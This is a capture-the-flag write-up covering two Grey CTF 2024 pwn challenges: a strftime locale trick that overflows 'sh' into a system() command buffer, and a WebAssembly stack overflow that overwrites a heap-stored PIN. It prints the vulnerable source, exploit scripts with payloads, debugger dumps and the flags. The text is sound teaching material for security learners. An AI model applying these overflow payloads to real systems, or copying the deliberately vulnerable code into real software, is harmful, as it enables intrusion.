Grey Cat the Flag Quals 2024
author
samuzora
12 May 2024
16 min read

Grey CTF Quals 2024 took place on 27 April. I played with slight_smile and got 3rd place locally, qualifying for the finals! I solved all the pwn except for heapheapheap, which is too painpainpain to do :((

Scoreboard

Here are my writeups for some of the interesting pwn challenges.

Baby Fmtstr

Files

Source code for the challenge:

#include <stdio.h>
#include <time.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <locale.h>

void setup(){
    setvbuf(stdout, NULL, _IONBF, 0);
    setbuf(stdin, NULL);
    setbuf(stderr, NULL);
}


char output[0x20];
char command[0x20];

void goodbye(){
    puts("Adiós!");
    system(command);
}

void print_time(){
    time_t now;
    struct tm *time_struct;
    char input[0x20];
    char buf[0x30];

    time(&now);
    time_struct = localtime(&now);

    printf("The time now is %d.\nEnter format specifier: ", now);
    fgets(input, 0x20, stdin);

    for(int i = 0; i < strlen(input)-1; i++){
        if(i % 2 == 0 && input[i] != '%'){
            puts("Only format specifiers allowed!");
            exit(0);
        }
    }

    strftime(buf, 0x30, input, time_struct);
    // remove newline at the end
    buf[strlen(buf)-1] = '\0';

    memcpy(output, buf, strlen(buf));
    printf("Formatted: %s\n", output);
}


void set_locale(){
    char input[0x20];
    printf("Enter new locale: ");
    fgets(input, 0x20, stdin);
    char *result = setlocale(LC_TIME, input);
    if(result == NULL){
        puts("Failed to set locale :(");
        puts("Run locale -a for a list of valid locales.");
    }else{
        puts("Locale changed successfully!");
    }
}

int main(){
    int choice = 0;

    setup();

    strcpy(command, "ls");

    while (1){
        puts("Welcome to international time converter!");
        puts("Menu:");
        puts("1. Print time");
        puts("2. Change language");
        puts("3. Exit");
        printf("> ");

        scanf("%d", &choice);
        getchar();

        if(choice == 1){
            print_time();
        }else if(choice == 2){
            set_locale();
        }else{
            goodbye();
        }
        puts("");
    }
}

In this challenge, we can provide arbitrary strftime format strings and also change the locale used to generate the string. The difference between printf and strftime is that strftime only has 1 “argument” - the time. This makes it much safer than printf vulnerability. However, in here, we have 2 buffers - the output and command buffer, where the output buffer is placed before the command buffer in memory. The command buffer is passed to system when we select option 3.

The limit passed to strftime is 0x30, which means that the output will be at most 0x30 bytes long. memcpy uses the strlen of the output to copy n bytes to output, which is only 0x20 bytes long. We just need to use specifiers that output more than 2 bytes (since each specifier is 2 bytes) in order to increase the length of the specifier and overflow into command.

The goal is to find a datetime string from a certain locale with sh in it, so we can overflow into the command variable with sh and get RCE. Obviously I’m not Duolingo and I don’t know every language, so I spun up the provided container to get all the available locales on remote.

/ # ls /srv/usr/lib/locale
C.utf8            ca_ES@valencia    es_BO             gl_ES@euro        mnw_MM            sq_AL.utf8
aa_DJ             ca_FR             es_BO.utf8        gu_IN             mr_IN             sq_MK
...

(there are over 500 so I’m not putting all here)

Then taking these locales, I looped through a few different format specifiers to see if sh appears in the output.

timestr = b"%a" # %b etc
for i in locales:
    p.sendline(b"2")
    p.sendline(i.encode())
    if b"Failed" not in p.clean():
        p.sendline(b"1")
        p.sendline(timestr)
        p.recvuntil(b"Formatted: ")
        out = p.recvline()
        log.info(f"{i}: {out}")
        if b"sh" in out:
            log.info("FOUND!")

These few locales gave me sh:

# %A: [*] sq_AL.utf8: b'e shtun\xc3\xab\xbe\xd1\x82\xd0\xb0\x97\xe1\x83\x98\n'
# %c: [*] xh_ZA.utf8: b'Mgq 20 Tsh 2024 08:00:06 UTC\n'
# %b: [*] xh_ZA.utf8: b'Tsh\n'

However, because we want the command to just be sh, the only one we can use is %b, as the newline will be replaced by \x00. It’s not enough for the datetime to contain sh, it must end with sh. We need to overflow the buffer such that the T is not in command buffer.

Another way to solve this is to find separate datetime strings that end with h and s, and overflow them individually, such that the following occurs:

round 1 (output is xxxxxh): xxxxxh\x00
round 2 (output is xxxxs): xxxxsh\x00

The reason why this works is actually slightly more complicated. At first glance, the output from strftime is always truncated with a null byte, so it shouldn’t be possible to combine multiple strings to form our command. However, because of uninitialized stack, this exploit is actually feasible. According to the strftime docs:

If the total number of resulting bytes including the terminating null byte is not more than maxsize, strftime() shall return the number of bytes placed into the array pointed to by s, not including the terminating null byte. Otherwise, 0 shall be returned and the contents of the array are unspecified.

strftime doesn’t terminate the output string with a null byte! The stack must align nicely such that print_time is always allocated the same stack frame. Since buf isn’t initialized, the old output from strftime will still be there, and the strlen will be new output + remaining old output. This entire string will then be copied into output and subsequently overflow into command with the “sh” string we want.

During the CTF, I just used the below exploit which only needs 1 round of input, but it only works in April. I’m too lazy to find an exploit that works in May for multiple-round inputs :)

# the solution only works in april
locale = b"xh_ZA.utf8"
p.sendline(b"2")
p.sendline(locale)
p.sendline(b"1")
payload = b"".join([
    b"%Y"*7,
    b"%;",
    b"%%",
    b"%b"
])

if len(payload) > 32:
    log.info(b"bad")
    exit()

p.sendline(payload)

p.interactive()

Unfortunately, at the point of making this writeup, it is no longer April and my exploit doesn’t work anymore :(

(also the entire reason for moving grey is so that this chall would be solvable)

lol

The Motorola 2

Files

This challenge was part 2 of The Motorola.

The main challenge for both parts is in this snippet:

void login() {
	char attempt[0x30];
	int count = 5;

	for (int i = 0; i < 5; i++) {
		memset(attempt, 0, 0x30);
		printf("\e[1;91m%d TRIES LEFT.\n\e[0m", 5-i);
		printf("PIN: ");
		scanf("%s", attempt);
		if (!strcmp(attempt, pin)) {
			view_message();
		}
	}
	slow_type("\n\e[1;33mAfter five unsuccessful attempts, the phone begins to emit an alarming heat, escalating to a point of no return. In a sudden burst of intensity, it explodes, sealing your fate.\e[0m\n\n");
}

Some context for The Motorola Part 1:

We are supposed to guess the secret PIN which is stored in the heap (our buffer overflow is on the stack, so we can’t overwrite it). We have a scanf buffer overflow, and there’s a win function defined (view_message). We can just ret2win here, no need to leak or overwrite the pin.

The difference is that Motorola 1 was compiled to x86_64, while Motorola 2 is compiled to wasm. Surprisingly (or unsurprisingly), this changes a lot of things under the hood!

To run the binary in GDB, install wasmtime and run the following command:

gdb --args wasmtime --dir ./ -g --config ./cache.toml chall

Now, what’s different about this challenge?

Firstly, RCE is no longer possible. To understand why, we need to dive into how wasm control flow works.

Side tracking into wasm’s control flow

Functions are natively typed in wasm. If you run wasm2wat on the binary, you can see a lot of generic function types:

(type (;0;) (func (param i32) (result i32)))
(type (;1;) (func (param i32 i32 i32) (result i32)))
(type (;2;) (func (param i32 i64 i32) (result i64)))
(type (;3;) (func (param i32 i32) (result i32)))
(type (;4;) (func (param i32 i32 i32 i32) (result i32)))
(type (;5;) (func (param i32 i64 i32 i32) (result i32)))
(type (;6;) (func (param i32 i32 i32 i32 i32 i64 i64 i32 i32) (result i32)))
(type (;7;) (func (param i32)))
(type (;8;) (func))
(type (;9;) (func (param i32 i32 i32 i32 i32) (result i32)))
(type (;10;) (func (result i32)))
(type (;11;) (func (param i32 i32)))
(type (;12;) (func (param i32 i32 i32 i32 i64 i64 i32 i32) (result i32)))
(type (;13;) (func (param f64 i32) (result f64)))
(type (;14;) (func (param i32 i32 i32)))
(type (;15;) (func (param i32 i32 i32 i32 i32)))
(type (;16;) (func (param i32 i64)))
(type (;17;) (func (param i32 i32 i32 i64) (result i64)))
(type (;18;) (func (param f64 f64) (result f64)))
(type (;19;) (func (param i32 i32 i32) (result f64)))
(type (;20;) (func (param i32 i32 i32 i32 i32) (result f64)))
(type (;21;) (func (param i32 i32) (result i64)))
(type (;22;) (func (param i32 i64 i64 i64 i64 i32)))
(type (;23;) (func (param i32 i64 i64 i64 i64)))
(type (;24;) (func (param i32 i64 i64 i32)))

For example, slow_type is compiled as a type 7 function, which takes in 1 i32 parameter and returns nothing.

(func $slow_type (type 7) (param i32)
  (local i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32)
  global.get $__stack_pointer
  local.set 1
  ...

When a call is made from a parent function, the instruction is simply call $slow_type. This is a little similar to call in Intel/AT&T syntax. The current instruction address is pushed onto the call stack, which is a separate stack for instruction pointers to continue execution after call and call_indirect. This stack lives outside the runtime VM, so it’s generally not possible to hijack it. The arguments to the function are pushed onto the top of the stack, and these arguments become the locals array which can be accessed within the function (eg. local.get 14 will get the 15th value on the stack). When the function is finished, the return value(s) are pushed onto the stack and the parent function continues execution based on the call stack.

Here’s a demo, breaking on the slow_type function:

Trace:
0   0x7ffff5bd70f0
1   0x7ffff5bd757b
2   0x7ffff5bd78c0
3   0x7ffff5bd70b1
4   0x7ffff5bed4ba

pwndbg> stack
+000 rsp 0x7fffffffbb28 —▸ 0x7ffff5bd757b ◂— mov dword ptr [r14 + 0x1d0], r15d
...
+048 0x7fffffffbb68 —▸ 0x7ffff5bd78c0 ◂— xor eax, eax
...
+068 0x7fffffffbb88 —▸ 0x7ffff5bd70b1 ◂— mov rbx, rax

The value pointed to by rsp (rsp of VM, not the sandboxed process!) belongs, if we check the disassembly, to the login function.

Dump of assembler code for function login:
   0x00007ffff5bd7410 <+0>:     push   rbp
   0x00007ffff5bd7411 <+1>:     mov    rbp,rsp
   0x00007ffff5bd7414 <+4>:     mov    r10,QWORD PTR [rdi+0x8]
   ...
   0x00007ffff5bd757b <+363>:   mov    DWORD PTR [r14+0x1d0],r15d
   0x00007ffff5bd7582 <+370>:   mov    rbx,QWORD PTR [rsp]
   0x00007ffff5bd7586 <+374>:   mov    r12,QWORD PTR [rsp+0x8]
   0x00007ffff5bd758b <+379>:   mov    r13,QWORD PTR [rsp+0x10]
   0x00007ffff5bd7590 <+384>:   mov    r14,QWORD PTR [rsp+0x18]
   0x00007ffff5bd7595 <+389>:   mov    r15,QWORD PTR [rsp+0x20]
   0x00007ffff5bd759a <+394>:   add    rsp,0x30
   0x00007ffff5bd759e <+398>:   mov    rsp,rbp
   0x00007ffff5bd75a1 <+401>:   pop    rbp
   0x00007ffff5bd75a2 <+402>:   ret
   0x00007ffff5bd75a3 <+403>:   ud2

(side note, all user-defined functions live in this address space):

0x7ffff5b96000     0x7ffff5bd6000 rw-p    40000      0 [anon_7ffff5b96]
0x7ffff5bd6000     0x7ffff5bd7000 r--p     1000      0 [anon_7ffff5bd6]
0x7ffff5bd7000     0x7ffff5bee000 r-xp    17000      0 [anon_7ffff5bd7] <-- function page
0x7ffff5bee000     0x7ffff5c54000 r--p    66000      0 [anon_7ffff5bee]
0x7ffff5c54000     0x7ffff5c55000 ---p     1000      0 [anon_7ffff5c54]

Probably, the space is writable at some point during VM initialization, and the wasm is compiled to x86_64 “JIT”, and written to this space.

Another thing - you might have noticed by now that wasm doesn’t really have a concept of registers. Rather (similar to python bytecode!), it stores most values on the stack (in fact, its entire memory is just a huge array, a continuous block of memory). And our “stack” (the entire linear memory region within the VM) is found in this memory region:

0x7ffdb0000000     0x7ffe30000000 ---p 80000000      0 [anon_7ffdb0000]
0x7ffe30000000     0x7ffe30002000 rw-p     2000      0 /memfd:wasm-memory-image (deleted)
0x7ffe30002000     0x7ffe30020000 rw-p    1e000      0 [anon_7ffe30002] <-- our linear memory region
0x7ffe30020000     0x7fffb0000000 ---p 17ffe0000      0 [anon_7ffe30020]
0x7fffb0000000     0x7fffb0089000 rw-p    89000      0 [anon_7fffb0000]

Anyway, the point of all this is to show that RIP control isn’t possible with regular call, because the call stack is isolated far far away from the VM’s accessible memory.

What about call_indirect? It takes a function index from the stack, accesses the function table, and calls the function with the corresponding index. The main purpose is to maintain compatibility with C native functions (eg. fclose which reads the close function for the target file from the FILE struct, which can only be known at runtime). Since the arguments must be passed in through the stack, and can be known at compile time, wasm is smart about this and requires the function signature in call_indirect. For example:

...
call_indirect (type 0)
...

will crash if the function index at the top of stack references a function that isn’t of type 0. This greatly restricts the functions we can jump to.

Unfortunately, we don’t have call_indirect in the login function. This is the disassembly for login:

(func $login (type 8)
  (local i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i64 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32)
  global.get $__stack_pointer
  local.set 0
  i32.const 80
  local.set 1
  local.get 0
  local.get 1
  i32.sub
  local.set 2
  local.get 2
  global.set $__stack_pointer
  i32.const 5
  local.set 3
  local.get 2
  local.get 3
  i32.store offset=28
  i32.const 0
  local.set 4
  local.get 2
  local.get 4
  i32.store offset=24
  block  ;; label = @1
    loop  ;; label = @2
      local.get 2
      i32.load offset=24
      local.set 5
      i32.const 5
      local.set 6
      local.get 5
      local.set 7
      local.get 6
      local.set 8
      local.get 7
      local.get 8
      i32.lt_s
      local.set 9
      i32.const 1
      local.set 10
      local.get 9
      local.get 10
      i32.and
      local.set 11
      local.get 11
      i32.eqz
      br_if 1 (;@1;)
      i32.const 32
      local.set 12
      local.get 2
      local.get 12
      i32.add
      local.set 13
      local.get 13
      local.set 14
      i64.const 0
      local.set 15
      local.get 14
      local.get 15
      i64.store
      i32.const 40
      local.set 16
      local.get 14
      local.get 16
      i32.add
      local.set 17
      local.get 17
      local.get 15
      i64.store
      i32.const 32
      local.set 18
      local.get 14
      local.get 18
      i32.add
      local.set 19
      local.get 19
      local.get 15
      i64.store
      i32.const 24
      local.set 20
      local.get 14
      local.get 20
      i32.add
      local.set 21
      local.get 21
      local.get 15
      i64.store
      i32.const 16
      local.set 22
      local.get 14
      local.get 22
      i32.add
      local.set 23
      local.get 23
      local.get 15
      i64.store
      i32.const 8
      local.set 24
      local.get 14
      local.get 24
      i32.add
      local.set 25
      local.get 25
      local.get 15
      i64.store
      local.get 2
      i32.load offset=24
      local.set 26
      i32.const 5
      local.set 27
      local.get 27
      local.get 26
      i32.sub
      local.set 28
      local.get 2
      local.get 28
      i32.store
      i32.const 1463
      local.set 29
      local.get 29
      local.get 2
      call $printf
      drop
      i32.const 2752
      local.set 30
      i32.const 0
      local.set 31
      local.get 30
      local.get 31
      call $printf
      drop
      i32.const 32
      local.set 32
      local.get 2
      local.get 32
      i32.add
      local.set 33
      local.get 33
      local.set 34
      local.get 2
      local.get 34
      i32.store offset=16
      i32.const 1064
      local.set 35
      i32.const 16
      local.set 36
      local.get 2
      local.get 36
      i32.add
      local.set 37
      local.get 35
      local.get 37
      call $scanf
      drop
      i32.const 32
      local.set 38
      local.get 2
      local.get 38
      i32.add
      local.set 39
      local.get 39
      local.set 40
      i32.const 0
      local.set 41
      local.get 41
      i32.load offset=6308
      local.set 42
      local.get 40
      local.get 42
      call $strcmp
      local.set 43
      block  ;; label = @3
        local.get 43
        br_if 0 (;@3;)
        call $view_message
      end
      local.get 2
      i32.load offset=24
      local.set 44
      i32.const 1
      local.set 45
      local.get 44
      local.get 45
      i32.add
      local.set 46
      local.get 2
      local.get 46
      i32.store offset=24
      br 0 (;@2;)
    end
  end
  i32.const 3012
  local.set 47
  local.get 47
  call $slow_type
  i32.const 80
  local.set 48
  local.get 2
  local.get 48
  i32.add
  local.set 49
  local.get 49
  global.set $__stack_pointer
  return)

So, RCE is out of the question. How else can we exploit the buffer overflow? We can’t overwrite the pin, because it’s stored in the heap, far away from the stack…right?

Exploiting quirks of wasm sandboxing

Actually, since wasm was designed to be sandboxed, the linear memory region/array is kept as small as possible, without the usual gaps between pages like the stack and heap that we see in regular x86_64 binaries. This means that the stack and heap might actually be contiguous! Let’s check how the stack and heap are set up, by setting a known PIN and known attempt, and searching for the 2 values in memory:

(I set the pin to TESTPINTESTPINTESTPINTESTPINTESTPIN)

pwndbg> search -t bytes TESTPINTESTPINTESTPINTESTPINTESTPIN
[anon_7ffe30002] 0x7ffe300127e0 'TESTPINTESTPINTESTPINTESTPINTESTPIN\n'
pwndbg> search -t bytes asdf
[anon_7ffe30002] 0x7ffe300122d0 0x66647361 /* 'asdf' */
pwndbg> p/x 0x7ffe300127e0 - 0x7ffe300122d0
$1 = 0x510

As we realize, the saved pin value is 0x510 after our input buffer! The reason why the heap is placed after the stack is because (I think) the stack is the first region to be defined, while the heap is only created after the first malloc call. So, wasm simply defines regions sequentially in the memory space, hence putting it after the stack.

This way, the challenge becomes similar to a strcmp challenge - just spam null bytes between input and saved pin, and we should be good to go, right?

● ctf/comp/2024-H0/greyctf/the-motorala-2
$ : python3 solve.py
[+] Opening connection to challs.nusgreyhats.org on port 30212: Done
[*] Switching to interactive mode
 
After several intense attempts, you successfully breach the phone's defenses.
Unlocking its secrets, you uncover a massive revelation that holds the power to reshape everything.
The once-elusive truth is now in your hands, but little do you know, the plot deepens, and the journey through the
clandestine hideout takes an unexpected turn, becoming even more complicated.
\x1b[0m

[*] Got EOF while reading in interactive

We are in fact not good to go - it crashed without printing the flag :(

Fixing the heap

Let’s take a closer look at the region between input and PIN:

pwndbg> tel 0x7ffe300122d0
00:0000│  0x7ffe300122d0 ◂— 0x66647361 /* 'asdf' */
01:0008│  0x7ffe300122d8 ◂— 0
... ↓     5 skipped
07:0038│  0x7ffe30012308 ◂— 0x1100000000
08:0040│  0x7ffe30012310 ◂— 0x18e0000018e0
09:0048│  0x7ffe30012318 ◂— 0x3200000010
0a:0050│  0x7ffe30012320 ◂— 0x300012350
0b:0058│  0x7ffe30012328 ◂— 0
... ↓     3 skipped
0f:0078│  0x7ffe30012348 ◂— 0x1300000000
10:0080│  0x7ffe30012350 ◂— 0
11:0088│  0x7ffe30012358 ◂— 0x48100000000
12:0090│  0x7ffe30012360 ◂— 0x1235800012358
13:0098│  0x7ffe30012368 ◂— 0
14:00a0│  0x7ffe30012370 ◂— 0x4000019e8
15:00a8│  0x7ffe30012378 ◂— 0x300000000
16:00b0│  0x7ffe30012380 ◂— 0x100000002
17:00b8│  0x7ffe30012388 ◂— 0x400000123d8
18:00c0│  0x7ffe30012390 ◂— 0
19:00c8│  0x7ffe30012398 ◂— 0xffffffff00000004
1a:00d0│  0x7ffe300123a0 ◂— 0xffffffff
1b:00d8│  0x7ffe300123a8 ◂— 0
... ↓     133 skipped
a1:0508│  0x7ffe300127d8 ◂— 0x5200000480
a2:0510│  0x7ffe300127e0 ◂— 'TESTPINTESTPINTESTPINTESTPINTESTPIN\n'
a3:0518│  0x7ffe300127e8 ◂— 'ESTPINTESTPINTESTPINTESTPIN\n'
a4:0520│  0x7ffe300127f0 ◂— 'STPINTESTPINTESTPIN\n'
a5:0528│  0x7ffe300127f8 ◂— 'TPINTESTPIN\n'
a6:0530│  0x7ffe30012800 ◂— 0xa4e4950 /* 'PIN\n' */

Most likely, we overwrote some important values here that should not be 0, hence crashing the program. These values are probably the heap metadata used to maintain the heap, which explains why the program crashed when we tried to read the flag file.

Luckily, wasm sandboxing once again works to our advantage. Since addresses are simply offsets from the start of the virtualized memory region, there’s no PIE or ASLR involved, so we can just hardcode all the values - whether addresses or chunk size values - without needing to leak anything! It took me a while to copy the values over into the exploit script, but this is the final exploit:

payload = flat(
            *((0x0,)*7),
            0x0000001100000000,
            0x000018e0000018e0,
            0x0000003200000010,
            0x0000000300012350,
            *((0x0,)*4),
            0x0000001300000000,
            0x0,
            0x0000048100000000,
            0x0001235800012358,
            0x0,
            0x00000004000019e8,
            0x0000000300000000,
            0x0000000100000002,
            0x00000400000123d8,
            0x0,
            0xffffffff00000004,
            0x00000000ffffffff,
            *((0x0,)*134),
            0x0000005200000480,
            0x0,
)
p.sendlineafter(b"PIN:", payload)
p.interactive()
$ : python3 solve.py
[+] Opening connection to challs.nusgreyhats.org on port 30212: Done
[*] Switching to interactive mode
 
After several intense attempts, you successfully breach the phone's defenses.
Unlocking its secrets, you uncover a massive revelation that holds the power to reshape everything.
The once-elusive truth is now in your hands, but little do you know, the plot deepens, and the journey through the
clandestine hie
$out takes an unexpected turn, becoming even more complicated.
\x1b[0m
grey{s1mpl3_buff3r_0v3rfl0w_w4snt_1t?_r3m3mb3r_t0_r34d_th3_st0ryl1ne:)}

Very cool challenge that inspired me to learn more about wasm! :)